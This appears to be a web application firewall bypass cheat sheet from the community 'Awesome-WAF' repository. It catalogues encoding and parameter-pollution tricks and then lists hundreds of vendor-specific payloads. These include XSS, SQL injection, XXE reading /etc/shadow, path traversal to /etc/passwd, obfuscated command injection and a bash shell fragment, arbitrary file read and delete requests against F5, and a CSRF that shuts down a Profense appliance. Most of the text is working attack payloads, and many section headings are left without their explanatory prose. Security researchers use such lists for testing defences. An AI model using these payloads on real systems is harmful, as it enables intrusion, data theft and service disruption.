<table> <tr> <td width="20%" align="center"><b>Target</b></td> <td width="35%" align="center"><b>Encodings</b></td> <td width="55%" align="center"><b>Notes</b></td> </tr> <tr> <td>Nginx, uWSGI-Django-Python3</td> <td>IBM037, IBM500, cp875, IBM1026, IBM273</td> <td> <ul> <li>Query string and body need to be encoded.</li> <li>Url-decoded parameters in query string and body.</li> <li>Equal sign and ampersand needed to be encoded as well (no url-encoding).</li> </ul> </td> </tr> <tr> <td>Nginx, uWSGI-Django-Python2</td> <td>IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424</td> <td> <ul> <li>Query string and body need to be encoded.</li> <li>Url-decoded parameters in query string and body afterwards.</li> <li>Equal sign and ampersand should not be encoded in any way.</li> </ul> </td> </tr> <tr> <td>Apache-TOMCAT8-JVM1.8-JSP</td> <td>IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025</td> <td> <ul> <li>Query string in its original format (could be url-encoded as usual).</li> <li>Body could be sent with/without url-encoding.</li> <li>Equal sign and ampersand should not be encoded in any way.</li> </ul> </td> </tr> <tr> <td>Apache-TOMCAT7-JVM1.6-JSP</td> <td>IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025</td> <td> <ul> <li>Query string in its original format (could be url-encoded as usual).</li> <li>Body could be sent with/without url-encoding.</li> <li>Equal sign and ampersand should not be encoded in any way.</li> </ul> </td> </tr> <tr> <td>IIS6, 7.5, 8, 10 -ASPX (v4.x)</td> <td>IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025</td> <td> <ul> <li>Query string in its original format (could be url-encoded as usual).</li> <li>Body could be sent with/without url-encoding.</li> <li>Equal sign and ampersand should not be encoded in any way.</li> </ul> </td> </tr> </table>

HTTP Parameter Pollution

Method:

Technique:

Below is a comparison of different servers and their relative interpretations:

<table> <tr> <td width="40%" align="center"><b>Environment</b></td> <td width="40%" align="center"><b>Parameter Interpretation</b></td> <td align="center"><b>Example</b></td> </tr> <tr> <td align="center">ASP/IIS</td> <td align="center">Concatenation by comma</td> <td align="center">par1=val1,val2</td> </tr> <tr> <td align="center">JSP, Servlet/Apache Tomcat</td> <td align="center">First parameter is resulting</td> <td align="center">par1=val1</td> </tr> <tr> <td align="center">ASP.NET/IIS</td> <td align="center">Concatenation by comma</td> <td align="center">par1=val1,val2</td> </tr> <tr> <td align="center">PHP/Zeus</td> <td align="center">Last parameter is resulting</td> <td align="center">par1=val2</td> </tr> <tr> <td align="center">PHP/Apache</td> <td align="center">Last parameter is resulting</td> <td align="center">par1=val2</td> </tr> <tr> <td align="center">JSP, Servlet/Jetty</td> <td align="center">First parameter is resulting</td> <td align="center">par1=val1</td> </tr> <tr> <td align="center">IBM Lotus Domino</td> <td align="center">First parameter is resulting</td> <td align="center">par1=val1</td> </tr> <tr> <td align="center">IBM HTTP Server</td> <td align="center">Last parameter is resulting</td> <td align="center">par1=val2</td> </tr> <tr> <td align="center">mod_perl, libapeq2/Apache</td> <td align="center">First parameter is resulting</td> <td align="center">par1=val1</td> </tr> <tr> <td align="center">Oracle Application Server 10G</td> <td align="center">First parameter is resulting</td> <td align="center">par1=val1</td> </tr> <tr> <td align="center">Perl CGI/Apache</td> <td align="center">First parameter is resulting</td> <td align="center">par1=val1</td> </tr> <tr> <td align="center">Python/Zope</td> <td align="center">First parameter is resulting</td> <td align="center">par1=val1</td> </tr> <tr> <td align="center">IceWarp</td> <td align="center">An array is returned</td> <td align="center">['val1','val2']</td> </tr> <tr> <td align="center">AXIS 2400</td> <td align="center">Last parameter is resulting</td> <td align="center">par1=val2</td> </tr> <tr> <td align="center">DBMan</td> <td align="center">Concatenation by two tildes</td> <td align="center">par1=val1~~val2</td> </tr> <tr> <td align="center">mod-wsgi (Python)/Apache</td> <td align="center">An array is returned</td> <td align="center">ARRAY(0x8b9058c)</td> </tr> </table>

HTTP Parameter Fragmentation

Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIP: A real life example how bypasses can be crafted using this method can be found here.

Browser Bugs:

Charset Bugs:

Example request:

<pre> GET <b>/page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀</b> HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 <b>Accept-Charset:utf-32; q=0.5</b> Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate </pre>

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.

Final URL encoded payload:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 

Null Bytes:

Payload examples:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>

Parsing Bugs:

Examples:

Unicode Separators:

Here is a compiled list of separators by @Masato Kinugawa:

An exotic payload example:

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Using Atypical Equivalent Syntactic Structures

Some common keywords overlooked by WAF developers:

Example Payloads:

<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)

Many alternatives to the original JavaScript can be used, namely:

However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)

Abusing SSL/TLS Ciphers:

Technique:

Tool: abuse-ssl-bypass-waf

python abuse-ssl-bypass-waf.py -thread 4 -target <target>

CLI tools like cURL can come very handy for PoCs:

curl --ciphers <cipher> -G <test site> -d <payload with parameter>

Abuse WAF limit on HTTP Responses

Method

Technique

A similar technique was used to bypass Google Cloud Platform WAF.

Abusing DNS History:

TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.

Tool: bypass-firewalls-by-DNS-history

bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

Using Whitelist Strings:

Method:

Technique:

Now when making a request to the server, you can append it as a parameter:

http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True

A real life example how this works can be found at this blog.

Request Header Spoofing:

Method:

Technique:

Some common headers used:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

Method:

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

Known Bypasses:

Airlock Ergon

%C0%80'+union+select+col1,col2,col3+from+table+--+

AWS

"; select * from TARGET_TABLE --
<script>eval(atob(decodeURIComponent("payload")))//

Barracuda

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere

Cerber (WordPress)

POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

author=1
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
http://host/index.php/wp-json/wp/v2/users/

Citrix NetScaler

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>’ union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Cloudflare

<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`
<--`<img/src=` onerror=confirm``> --!>
javascript:{alert`0`}
<base href=//knoxss.me?
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x 
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#

Cloudbric

<a69/onclick=[1].findIndex(alert)>pew

Comodo

<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
0 union/**/select 1,version(),@@datadir

DotDefender

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ 

Fortinet Fortiweb

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 

POST Type Query

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

Read Arbitrary File

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

F5 FirePass

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ 

ModSecurity

<a href="jav%0Dascript&colon;alert(1)">
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
amUserId=1 union select username,password,3,4 from users
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201

Imperva

<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>
<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
<a69/onclick=write&lpar;&rpar;>pew
<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>
<svg onload\r\n=$.globalEval("al"+"ert()");>
<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

Kona SiteDefender

%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)
%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
?"></script><base%20c%3D=href%3Dhttps:\mysite>
<abc/onmouseenter=confirm%60%60>
%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>

Profense

Turn off Proface Machine

<img src=https://host:2000/ajax.html?action=shutdown>

Add a proxy

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E 

QuickDefense

?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

Sucuri

<a href=javascript&colon;confirm(1)>
/???/??t+/???/??ss??
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
"><input/onauxclick="[1].map(prompt)">
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>

StackPath

<object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme

URLScan

http://host.com/test.asp?file=.%./bla.txt

WebARX

<a69/onauxclick=open&#40&#41>rightclickhere

WebKnight

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

Wordfence

<a href=javas&#99;ript:alert(1)>
<a href=&#01javascript:alert(1)>
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email" 
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

Apache Generic

get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS Generic

    GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Awesome Tools

Fingerprinting:

Testing:

Evasion:

Management:

Blogs and Writeups

Many of the content mentioned above have been taken from some of the following excellent writeups.

Video Presentations

Presentations & Research Papers

Research Papers:

Presentations:

Credits & License:

Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License.